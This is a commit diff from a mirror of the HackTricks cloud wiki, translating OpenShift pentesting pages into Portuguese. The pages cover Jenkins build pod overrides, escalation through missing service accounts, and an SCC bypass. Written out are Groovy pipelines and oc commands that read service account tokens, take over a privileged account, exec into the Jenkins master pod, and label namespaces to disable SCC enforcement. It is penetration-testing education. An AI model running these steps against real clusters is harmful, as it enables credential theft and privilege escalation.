mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
Translator
@@ -1,23 +1,19 @@
|
||||
# OpenShift Pentesting
|
||||
|
||||
## Basic Information
|
||||
## Informações Básicas
|
||||
|
||||
{{#ref}}
|
||||
openshift-basic-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Security Context Constraints
|
||||
## Restrições de Contexto de Segurança
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## Escalação de Privilégios
|
||||
|
||||
{{#ref}}
|
||||
openshift-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,35 +1,33 @@
|
||||
# OpenShift - Basic information
|
||||
# OpenShift - Informações básicas
|
||||
|
||||
## Kubernetes prior b**asic knowledge** <a href="#a94e" id="a94e"></a>
|
||||
## Kubernetes conhecimento b**ásico** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
Before working with OpenShift, ensure you are comfortable with the Kubernetes environment. The entire OpenShift chapter assumes you have prior knowledge of Kubernetes.
|
||||
Antes de trabalhar com OpenShift, certifique-se de que está confortável com o ambiente Kubernetes. Todo o capítulo do OpenShift assume que você tem conhecimento prévio de Kubernetes.
|
||||
|
||||
## OpenShift - Basic Information
|
||||
## OpenShift - Informações Básicas
|
||||
|
||||
### Introduction
|
||||
### Introdução
|
||||
|
||||
OpenShift is Red Hat’s container application platform that offers a superset of Kubernetes features. OpenShift has stricter security policies. For instance, it is forbidden to run a container as root. It also offers a secure-by-default option to enhance security. OpenShift, features an web console which includes a one-touch login page.
|
||||
OpenShift é a plataforma de aplicação em contêiner da Red Hat que oferece um superconjunto de recursos do Kubernetes. OpenShift possui políticas de segurança mais rigorosas. Por exemplo, é proibido executar um contêiner como root. Também oferece uma opção segura por padrão para aumentar a segurança. OpenShift possui um console web que inclui uma página de login com um toque.
|
||||
|
||||
#### CLI
|
||||
|
||||
OpenShift come with a it's own CLI, that can be found here:
|
||||
OpenShift vem com seu próprio CLI, que pode ser encontrado aqui:
|
||||
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/4.11/cli_reference/openshift_cli/getting-started-cli.html
|
||||
{{#endref}}
|
||||
|
||||
To login using the CLI:
|
||||
|
||||
Para fazer login usando o CLI:
|
||||
```bash
|
||||
oc login -u=<username> -p=<password> -s=<server>
|
||||
oc login -s=<server> --token=<bearer token>
|
||||
```
|
||||
### **OpenShift - Restrições de Contexto de Segurança** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
### **OpenShift - Security Context Constraints** <a href="#a94e" id="a94e"></a>
|
||||
Além dos [recursos RBAC](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) que controlam o que um usuário pode fazer, a OpenShift Container Platform fornece _restrições de contexto de segurança_ (SCC) que controlam as ações que um pod pode realizar e o que ele tem a capacidade de acessar.
|
||||
|
||||
In addition to the [RBAC resources](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) that control what a user can do, OpenShift Container Platform provides _security context constraints_ (SCC) that control the actions that a pod can perform and what it has the ability to access.
|
||||
|
||||
SCC is a policy object that has special rules that correspond with the infrastructure itself, unlike RBAC that has rules that correspond with the Platform. It helps us define what Linux access-control features the container should be able to request/run. Example: Linux Capabilities, SECCOMP profiles, Mount localhost dirs, etc.
|
||||
SCC é um objeto de política que possui regras especiais que correspondem à própria infraestrutura, ao contrário do RBAC, que possui regras que correspondem à Plataforma. Ele nos ajuda a definir quais recursos de controle de acesso do Linux o contêiner deve ser capaz de solicitar/executar. Exemplo: Capacidades do Linux, perfis SECCOMP, montar diretórios localhost, etc.
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
@@ -38,7 +36,3 @@ openshift-scc.md
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,43 +1,39 @@
|
||||
# OpenShift - Jenkins
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**O autor original desta página é** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
This page gives some pointers onto how you can attack a Jenkins instance running in an Openshift (or Kubernetes) cluster
|
||||
Esta página fornece algumas dicas sobre como você pode atacar uma instância do Jenkins em execução em um cluster Openshift (ou Kubernetes)
|
||||
|
||||
## Disclaimer
|
||||
## Isenção de responsabilidade
|
||||
|
||||
A Jenkins instance can be deployed in both Openshift or Kubernetes cluster. Depending in your context, you may need to adapt any shown payload, yaml or technique. For more information about attacking Jenkins you can have a look at [this page](../../../pentesting-ci-cd/jenkins-security/)
|
||||
Uma instância do Jenkins pode ser implantada tanto em um cluster Openshift quanto em um cluster Kubernetes. Dependendo do seu contexto, você pode precisar adaptar qualquer payload, yaml ou técnica mostrada. Para mais informações sobre como atacar o Jenkins, você pode dar uma olhada [nesta página](../../../pentesting-ci-cd/jenkins-security/)
|
||||
|
||||
## Prerequisites
|
||||
## Pré-requisitos
|
||||
|
||||
1a. User access in a Jenkins instance OR 1b. User access with write permission to an SCM repository where an automated build is triggered after a push/merge
|
||||
1a. Acesso de usuário em uma instância do Jenkins OU 1b. Acesso de usuário com permissão de gravação em um repositório SCM onde uma construção automatizada é acionada após um push/merge
|
||||
|
||||
## How it works
|
||||
## Como funciona
|
||||
|
||||
Fundamentally, almost everything behind the scenes works the same as a regular Jenkins instance running in a VM. The main difference is the overall architecture and how builds are managed inside an openshift (or kubernetes) cluster.
|
||||
Fundamentalmente, quase tudo nos bastidores funciona da mesma forma que uma instância regular do Jenkins em execução em uma VM. A principal diferença é a arquitetura geral e como as construções são gerenciadas dentro de um cluster openshift (ou kubernetes).
|
||||
|
||||
### Builds
|
||||
### Construções
|
||||
|
||||
When a build is triggered, it is first managed/orchestrated by the Jenkins master node then delegated to an agent/slave/worker. In this context, the master node is just a regular pod running in a namespace (which might be different that the one where workers run). The same applies for the workers/slaves, however they destroyed once the build finished whereas the master always stays up. Your build is usually run inside a pod, using a default pod template defined by the Jenkins admins.
|
||||
Quando uma construção é acionada, ela é primeiro gerenciada/orquestrada pelo nó mestre do Jenkins e, em seguida, delegada a um agente/escravo/trabalhador. Nesse contexto, o nó mestre é apenas um pod regular em execução em um namespace (que pode ser diferente daquele onde os trabalhadores estão em execução). O mesmo se aplica aos trabalhadores/escravos, no entanto, eles são destruídos uma vez que a construção é concluída, enquanto o mestre permanece sempre ativo. Sua construção geralmente é executada dentro de um pod, usando um modelo de pod padrão definido pelos administradores do Jenkins.
|
||||
|
||||
### Triggering a build
|
||||
### Acionando uma construção
|
||||
|
||||
You have multiples main ways to trigger a build such as:
|
||||
Você tem várias maneiras principais de acionar uma construção, como:
|
||||
|
||||
1. You have UI access to Jenkins
|
||||
1. Você tem acesso à interface do usuário do Jenkins
|
||||
|
||||
A very easy and convenient way is to use the Replay functionality of an existing build. It allows you to replay a previously executed build while allowing you to update the groovy script. This requires privileges on a Jenkins folder and a predefined pipeline. If you need to be stealthy, you can delete your triggered builds if you have enough permission.
|
||||
Uma maneira muito fácil e conveniente é usar a funcionalidade Replay de uma construção existente. Isso permite que você reproduza uma construção executada anteriormente, permitindo que você atualize o script groovy. Isso requer privilégios em uma pasta do Jenkins e um pipeline predefinido. Se você precisar ser discreto, pode excluir suas construções acionadas se tiver permissão suficiente.
|
||||
|
||||
2. You have write access to the SCM and automated builds are configured via webhook
|
||||
2. Você tem acesso de gravação ao SCM e construções automatizadas estão configuradas via webhook
|
||||
|
||||
You can just edit a build script (such as Jenkinsfile), commit and push (eventually create a PR if builds are only triggered on PR merges). Keep in mind that this path is very noisy and need elevated privileges to clean your tracks.
|
||||
Você pode simplesmente editar um script de construção (como Jenkinsfile), fazer commit e push (eventualmente criar um PR se as construções forem acionadas apenas em merges de PR). Lembre-se de que esse caminho é muito barulhento e precisa de privilégios elevados para limpar suas pistas.
|
||||
|
||||
## Jenkins Build Pod YAML override
|
||||
## Substituição do YAML do Pod de Construção do Jenkins
|
||||
|
||||
{{#ref}}
|
||||
openshift-jenkins-build-overrides.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,278 +1,260 @@
|
||||
# Jenkins in Openshift - build pod overrides
|
||||
# Jenkins no Openshift - substituições de pod de build
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**O autor original desta página é** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
## Kubernetes plugin for Jenkins
|
||||
This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation [here](https://plugins.jenkins.io/kubernetes/)
|
||||
It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod.
|
||||
## Plugin Kubernetes para Jenkins
|
||||
Este plugin é principalmente responsável pelas funções principais do Jenkins dentro de um cluster openshift/kubernetes. Documentação oficial [aqui](https://plugins.jenkins.io/kubernetes/)
|
||||
Ele oferece algumas funcionalidades, como a capacidade dos desenvolvedores de substituir algumas configurações padrão de um pod de build do jenkins.
|
||||
|
||||
## Core functionnality
|
||||
|
||||
This plugin allows flexibility to developers when building their code in adequate environment.
|
||||
## Funcionalidade principal
|
||||
|
||||
Este plugin permite flexibilidade aos desenvolvedores ao construir seu código em um ambiente adequado.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Alguns abusos aproveitando a substituição do yaml do pod
|
||||
|
||||
## Some abuses leveraging pod yaml override
|
||||
|
||||
It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image.
|
||||
In the example below we can exfiltrate the serviceaccount token of the running pod.
|
||||
|
||||
No entanto, pode ser abusado para usar qualquer imagem acessível, como Kali Linux, e executar comandos arbitrários usando ferramentas pré-instaladas dessa imagem.
|
||||
No exemplo abaixo, podemos exfiltrar o token do serviceaccount do pod em execução.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
A different synthax to achieve the same goal.
|
||||
|
||||
Uma sintaxe diferente para alcançar o mesmo objetivo.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Sample to override the namespace of the pod
|
||||
Exemplo para substituir o namespace do pod
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first.
|
||||
|
||||
Outro exemplo que tenta montar um serviceaccount (que pode ter mais permissões do que o padrão, executando sua build) com base em seu nome. Você pode precisar adivinhar ou enumerar serviceaccounts existentes primeiro.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
A mesma técnica se aplica para tentar montar um Secret. O objetivo final aqui seria descobrir como configurar a construção do seu pod para efetivamente pivotar ou ganhar privilégios.
|
||||
|
||||
The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.
|
||||
## Indo mais longe
|
||||
|
||||
## Going further
|
||||
Uma vez que você se acostume a brincar com isso, use seu conhecimento sobre Jenkins e Kubernetes/Openshift para encontrar misconfigurações / abusos.
|
||||
|
||||
Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.
|
||||
Pergunte a si mesmo as seguintes questões:
|
||||
|
||||
Ask yourself the following questions:
|
||||
- Qual conta de serviço está sendo usada para implantar pods de construção?
|
||||
- Quais papéis e permissões ela possui? Pode ler segredos do namespace em que estou atualmente?
|
||||
- Posso enumerar outros pods de construção?
|
||||
- A partir de um sa comprometido, posso executar comandos no nó/pod mestre?
|
||||
- Posso enumerar mais o cluster para pivotar para outro lugar?
|
||||
- Qual SCC está aplicado?
|
||||
|
||||
- Which service account is being used to deploy build pods?
|
||||
- What roles and permissions does it have? Can it read secrets of the namespace I am currently in?
|
||||
- Can I further enumerate other build pods?
|
||||
- From a compromised sa, can I execute commands on the master node/pod?
|
||||
- Can I further enumerate the cluster to pivot elsewhere?
|
||||
- Which SCC is applied?
|
||||
Você pode descobrir quais comandos oc/kubectl emitir [aqui](../openshift-basic-information.md) e [aqui](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
|
||||
You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
### Possíveis cenários de privesc/pivoting
|
||||
|
||||
### Possible privesc/pivoting scenarios
|
||||
Vamos supor que durante sua avaliação você descobriu que todas as construções do jenkins são executadas dentro de um namespace chamado _worker-ns_. Você descobriu que uma conta de serviço padrão chamada _default-sa_ está montada nos pods de construção, no entanto, ela não possui muitas permissões, exceto acesso de leitura em alguns recursos, mas você conseguiu identificar uma conta de serviço existente chamada _master-sa_.
|
||||
Vamos também supor que você tenha o comando oc instalado dentro do contêiner de construção em execução.
|
||||
|
||||
Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_.
|
||||
Let's also assume that you have the oc command installed inside the running build container.
|
||||
|
||||
With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further.
|
||||
Com o script de construção abaixo, você pode assumir o controle da conta de serviço _master-sa_ e enumerar mais.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster:
|
||||
Dependendo do seu acesso, ou você precisa continuar seu ataque a partir do script de build ou pode fazer login diretamente como este sa no cluster em execução:
|
||||
```bash
|
||||
oc login --token=$token --server=https://apiserver.com:port
|
||||
```
|
||||
|
||||
|
||||
If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data.
|
||||
|
||||
Se este sa tiver permissões suficientes (como pod/exec), você também pode assumir o controle de toda a instância do jenkins executando comandos dentro do pod do nó mestre, se estiver sendo executado dentro do mesmo namespace. Você pode identificar facilmente este pod pelo seu nome e pelo fato de que ele deve estar montando um PVC (persistant volume claim) usado para armazenar dados do jenkins.
|
||||
```bash
|
||||
oc rsh pod_name -c container_name
|
||||
```
|
||||
|
||||
In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called _jenkins-master_. Keep in mind that serviceAccount master-sa needs to exist on the _jenkins-master_ namespace (and might not exist in _worker-ns_ namespace)
|
||||
|
||||
Caso o pod do nó mestre não esteja em execução dentro do mesmo namespace que os trabalhadores, você pode tentar ataques semelhantes direcionando o namespace mestre. Vamos supor que se chama _jenkins-master_. Lembre-se de que a serviceAccount master-sa precisa existir no namespace _jenkins-master_ (e pode não existir no namespace _worker-ns_).
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# OpenShift - Privilege Escalation
|
||||
# OpenShift - Escalação de Privilégios
|
||||
|
||||
## Missing Service Account
|
||||
## Conta de Serviço Ausente
|
||||
|
||||
{{#ref}}
|
||||
openshift-missing-service-account.md
|
||||
@@ -12,12 +12,8 @@ openshift-missing-service-account.md
|
||||
openshift-tekton.md
|
||||
{{#endref}}
|
||||
|
||||
## SCC Bypass
|
||||
## Bypass de SCC
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,27 +1,23 @@
|
||||
# OpenShift - Missing Service Account
|
||||
# OpenShift - Conta de Serviço Ausente
|
||||
|
||||
## Missing Service Account
|
||||
## Conta de Serviço Ausente
|
||||
|
||||
It happens that cluster is deployed with preconfigured template automatically setting Roles, RoleBindings and even SCC to service account that is not yet created. This can lead to privilege escalation in the case where you can create them. In this case, you would be able to get the token of the SA newly created and the role or SCC associated. Same case happens when the missing SA is part of a missing project, in this case if you can create the project and then the SA you get the Roles and SCC associated.
|
||||
Acontece que o cluster é implantado com um modelo pré-configurado que define automaticamente Roles, RoleBindings e até mesmo SCC para uma conta de serviço que ainda não foi criada. Isso pode levar a uma escalada de privilégios no caso de você conseguir criá-las. Nesse caso, você seria capaz de obter o token da SA recém-criada e o papel ou SCC associado. O mesmo caso ocorre quando a SA ausente faz parte de um projeto ausente; nesse caso, se você conseguir criar o projeto e, em seguida, a SA, obterá os Roles e SCC associados.
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the previous graph we got multiple AbsentProject meaning multiple project that appears in Roles Bindings or SCC but are not yet created in the cluster. In the same vein we also got an AbsentServiceAccount.
|
||||
No gráfico anterior, temos múltiplos AbsentProject, significando múltiplos projetos que aparecem em Roles Bindings ou SCC, mas ainda não foram criados no cluster. Na mesma linha, também temos uma AbsentServiceAccount.
|
||||
|
||||
If we can create a project and the missing SA in it, the SA will inherited from the Role or the SCC that were targeting the AbsentServiceAccount. Which can lead to privilege escalation.
|
||||
Se conseguirmos criar um projeto e a SA ausente nele, a SA herdará o Role ou o SCC que estavam direcionados à AbsentServiceAccount. O que pode levar a uma escalada de privilégios.
|
||||
|
||||
The following example show a missing SA which is granted node-exporter SCC:
|
||||
O seguinte exemplo mostra uma SA ausente que é concedida ao SCC node-exporter:
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Tools
|
||||
## Ferramentas
|
||||
|
||||
The following tool can be use to enumerate this issue and more generally to graph an OpenShift cluster:
|
||||
A seguinte ferramenta pode ser usada para enumerar esse problema e, mais geralmente, para mapear um cluster OpenShift:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/maxDcb/OpenShiftGrapher
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Openshift - SCC bypass
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**O autor original desta página é** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Privileged Namespaces
|
||||
## Namespaces Privilegiados
|
||||
|
||||
By default, SCC does not apply on following projects :
|
||||
Por padrão, o SCC não se aplica aos seguintes projetos:
|
||||
|
||||
- **default**
|
||||
- **kube-system**
|
||||
@@ -13,130 +13,114 @@ By default, SCC does not apply on following projects :
|
||||
- **openshift-infra**
|
||||
- **openshift**
|
||||
|
||||
If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
|
||||
Se você implantar pods dentro de um desses namespaces, nenhum SCC será aplicado, permitindo a implantação de pods privilegiados ou a montagem do sistema de arquivos do host.
|
||||
|
||||
## Namespace Label
|
||||
## Rótulo de Namespace
|
||||
|
||||
There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
|
||||
|
||||
- Create a Namespace and Create a Pod on this Namespace
|
||||
- Edit a Namespace and Create a Pod on this Namespace
|
||||
Há uma maneira de desativar a aplicação do SCC em seu pod de acordo com a documentação da RedHat. Você precisará ter pelo menos uma das seguintes permissões:
|
||||
|
||||
- Criar um Namespace e Criar um Pod neste Namespace
|
||||
- Editar um Namespace e Criar um Pod neste Namespace
|
||||
```bash
|
||||
$ oc auth can-i create namespaces
|
||||
yes
|
||||
yes
|
||||
|
||||
$ oc auth can-i patch namespaces
|
||||
yes
|
||||
yes
|
||||
```
|
||||
|
||||
The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
|
||||
A etiqueta específica `openshift.io/run-level` permite que os usuários contornem os SCCs para aplicativos. De acordo com a documentação da RedHat, quando essa etiqueta é utilizada, nenhum SCC é aplicado a todos os pods dentro desse namespace, efetivamente removendo quaisquer restrições.
|
||||
|
||||
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Add Label
|
||||
|
||||
To add the label in your namespace :
|
||||
## Adicionar Etiqueta
|
||||
|
||||
Para adicionar a etiqueta no seu namespace:
|
||||
```bash
|
||||
$ oc label ns MYNAMESPACE openshift.io/run-level=0
|
||||
```
|
||||
|
||||
To create a namespace with the label through a YAML file:
|
||||
|
||||
Para criar um namespace com o rótulo através de um arquivo YAML:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
```
|
||||
|
||||
Now, all new pods created on the namespace should not have any SCC
|
||||
